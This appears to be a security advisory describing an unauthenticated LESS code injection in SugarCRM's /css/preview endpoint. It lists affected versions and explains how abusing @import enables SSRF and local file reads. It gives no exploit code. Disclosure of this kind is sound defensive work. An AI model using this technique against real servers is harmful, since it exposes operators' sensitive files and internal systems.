📄 SugarCRM 14.0.0 Code Injection / SSRF / File Read

------------------------------------------------------------------
    SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Vulnerability
    ------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.sugarcrm.com
    
    
    [-] Affected Versions:
    
    All commercial versions before 13.0.4 and 14.0.1.
    
    
    [-] Vulnerability Description:
    
    User input passed through GET parameters to the /css/preview REST API
    endpoint is not properly sanitized before parsing it as LESS code. This can
    be exploited by remote, unauthenticated attackers to inject and execute
    arbitrary LESS directives. By abusing the @import LESS statement, an
    attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary
    local files on the web server, potentially leading to the disclosure of
    sensitive information.
